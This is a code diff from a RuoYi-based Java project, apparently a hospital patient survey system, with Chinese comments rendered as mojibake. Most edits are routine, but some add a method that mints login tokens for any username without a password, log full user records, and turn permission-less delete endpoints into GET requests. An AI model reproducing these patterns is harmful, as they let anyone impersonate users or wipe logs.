--- a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysLoginService.java
+++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysLoginService.java
@@ -113,6 +113,16 @@
return tokenService.createToken(loginUser);
}
+ public String getTokenWN(String userName) {
+ SysUser sysUser = userService.selectUserByUserName(userName);
+ System.out.println("sysUser鐨勭粨鏋滀负锛�" + sysUser);
+
+ LoginUser loginUser = new LoginUser();
+ loginUser.setUserId(sysUser.getUserId());
+ loginUser.setDeptId(sysUser.getDeptId());
+ loginUser.setUser(sysUser);
+ return tokenService.createToken(loginUser);
+ }
/**
* SSO 鍗曠偣鐧诲綍涓氬姟澶勭悊
diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/TokenService.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/TokenService.java
index 39b07ca..a9ec8b3 100644
--- a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/TokenService.java
+++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/TokenService.java
@@ -6,6 +6,7 @@
import java.util.concurrent.TimeUnit;
import javax.servlet.http.HttpServletRequest;
+import com.ruoyi.common.core.domain.entity.SysUser;
import com.sun.org.apache.bcel.internal.generic.NEW;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/controller/SysJobLogController.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/controller/SysJobLogController.java
index f3ca8c3..4feeb88 100644
--- a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/controller/SysJobLogController.java
+++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/controller/SysJobLogController.java
@@ -73,7 +73,7 @@
*/
//@PreAuthorize("@ss.hasPermi('monitor:job:remove')")
@Log(title = "瀹氭椂浠诲姟璋冨害鏃ュ織", businessType = BusinessType.DELETE)
- @DeleteMapping("/{jobLogIds}")
+ @GetMapping("/{jobLogIds}")
public AjaxResult remove(@PathVariable Long[] jobLogIds)
{
return toAjax(jobLogService.deleteJobLogByIds(jobLogIds));
@@ -84,7 +84,7 @@
*/
//@PreAuthorize("@ss.hasPermi('monitor:job:remove')")
@Log(title = "璋冨害鏃ュ織", businessType = BusinessType.CLEAN)
- @DeleteMapping("/clean")
+ @GetMapping("/clean")
public AjaxResult clean()
{
jobLogService.cleanJobLog();
diff --git a/smartor/src/main/java/com/smartor/domain/ServiceSubtaskDetailRatioExport.java b/smartor/src/main/java/com/smartor/domain/ServiceSubtaskDetailRatioExport.java
index b48ab19..57f2a47 100644
--- a/smartor/src/main/java/com/smartor/domain/ServiceSubtaskDetailRatioExport.java
+++ b/smartor/src/main/java/com/smartor/domain/ServiceSubtaskDetailRatioExport.java
@@ -35,8 +35,10 @@
@Excel(name = "姣斾緥")
private String ratio;
+ @Excel(name = "浠诲姟鍚嶇О")
+ private String taskname;
+
@Excel(name = "浠诲姟缂栧彿")
private String taskid;
-
}
diff --git a/smartor/src/main/java/com/smartor/service/impl/ServiceSLTDHealthcareRecordServiceImpl.java b/smartor/src/main/java/com/smartor/service/impl/ServiceSLTDHealthcareRecordServiceImpl.java
index e54332e..b0d7bab 100644
--- a/smartor/src/main/java/com/smartor/service/impl/ServiceSLTDHealthcareRecordServiceImpl.java
+++ b/smartor/src/main/java/com/smartor/service/impl/ServiceSLTDHealthcareRecordServiceImpl.java
@@ -900,7 +900,8 @@
}
}
- if (active.equals("nhfy") || active.equals("sltd")) {
+ //鐩墠鍙湁鐪佺珛鍚屽痉
+ if (active.equals("sltd")) {
Map<String, String> drugInfoMap = queryMedicalOrders(dto);
if (drugInfoMap != null && !drugInfoMap.isEmpty()) {
patMedInhosp.setMedicalName(drugInfoMap.get("drugItemNames"));
diff --git a/smartor/src/main/java/com/smartor/service/impl/ServiceSubtaskAnswerServiceImpl.java b/smartor/src/main/java/com/smartor/service/impl/ServiceSubtaskAnswerServiceImpl.java
index c52c87f..4fb489d 100644
--- a/smartor/src/main/java/com/smartor/service/impl/ServiceSubtaskAnswerServiceImpl.java
+++ b/smartor/src/main/java/com/smartor/service/impl/ServiceSubtaskAnswerServiceImpl.java
@@ -922,7 +922,6 @@
}
private Map<String, String> setWJInfo(SvyTaskTemplateScriptVO svyTaskTemplateScriptVO, Long taskid, Long patid, Long subid) {
- log.error("-----svyTaskTemplateScriptVO鐨勫�间负锛歿}", svyTaskTemplateScriptVO);
ServiceSubtaskEntity serviceSubtaskVO = new ServiceSubtaskEntity();
serviceSubtaskVO.setTaskid(taskid);
serviceSubtaskVO.setPatid(patid);
@@ -971,7 +970,6 @@
}
private Map<String, String> setWJInfo(SvyTaskTemplateScriptVO svyTaskTemplateScriptVO, Long taskid, Long patid, Long subid, List<ServiceSubtask> selectServiceSubtaskList, ServiceTask serviceTask, Map<Long, Long> existingDetailIdMap, Map<Long, Long> existingTraceIdMap) {
- log.error("-----svyTaskTemplateScriptVO鐨勫�间负锛歿}", svyTaskTemplateScriptVO);
String score = "0";
//涓嬮璺宠浆
String nextScriptNo = null;
@@ -1057,7 +1055,6 @@
//鍘婚櫎涓ょ绌虹櫧骞跺鐞嗙壒娈婂瓧绗﹁繘琛屾瘮杈�
if (optionContent.trim().replaceAll("\\s+", "").equals(scriptResult.replaceAll("\\s+", ""))) {
stt = svyTaskTemplateTargetoption;
- log.error("鎵惧埌鍖归厤鐨勯�夐」");
break; // 鎵惧埌鍖归厤椤瑰悗璺冲嚭寰幆
}
}
diff --git a/smartor/src/main/java/com/smartor/service/impl/ServiceSubtaskServiceImpl.java b/smartor/src/main/java/com/smartor/service/impl/ServiceSubtaskServiceImpl.java
index 8535331..8dbae00 100644
--- a/smartor/src/main/java/com/smartor/service/impl/ServiceSubtaskServiceImpl.java
+++ b/smartor/src/main/java/com/smartor/service/impl/ServiceSubtaskServiceImpl.java
@@ -4941,6 +4941,24 @@
return serviceSubtaskMapper.statQuestionOption(taskIds, startOutHospTime, endOutHospTime);
}
+ /**
+ * 鏍囧噯鍖栭棶鍗风瓟妗堟枃鏈細鍘绘帀 A/B/C/D 鍗曞瓧姣嶅墠缂�鍜屽悗缁┖鏍�
+ * 渚嬪 "A 鏄�" -> "鏄�"锛�"B 鍚�" -> "鍚�"
+ */
+ private String normalizeOptionAnswer(String answer) {
+ if (StringUtils.isBlank(answer)) {
+ return "";
+ }
+ String trimmed = answer.trim();
+ if (trimmed.length() >= 3 && trimmed.charAt(1) == ' ') {
+ char firstChar = trimmed.charAt(0);
+ if (firstChar >= 'A' && firstChar <= 'Z') {
+ return trimmed.substring(2).trim();
+ }
+ }
+ return trimmed;
+ }
+
private Boolean saveServiceSubtaskDetail(ServiceSubtask serviceSubtask) {
Boolean result = true;
//3.4 濡傛灉3.1鎴�3.2涓簍rue鐨勮瘽锛屾牴鎹畉ype鍒ゆ柇浠�涔堢被鍨�
diff --git a/smartor/src/main/resources/mapper/smartor/ServiceSubtaskMapper.xml b/smartor/src/main/resources/mapper/smartor/ServiceSubtaskMapper.xml
index 3524fef..1dcc537 100644
--- a/smartor/src/main/resources/mapper/smartor/ServiceSubtaskMapper.xml
+++ b/smartor/src/main/resources/mapper/smartor/ServiceSubtaskMapper.xml
@@ -3041,6 +3041,7 @@
SELECT
d.questiontext AS questiontext,
t.taskid AS taskid,
+ t.task_name AS taskName,
d.asrtext AS optionresult,
COUNT(*) AS count,
CONCAT(ROUND(COUNT(*) * 100.0 / t2.total_count, 2), '%') AS ratio
--
Gitblit v1.9.3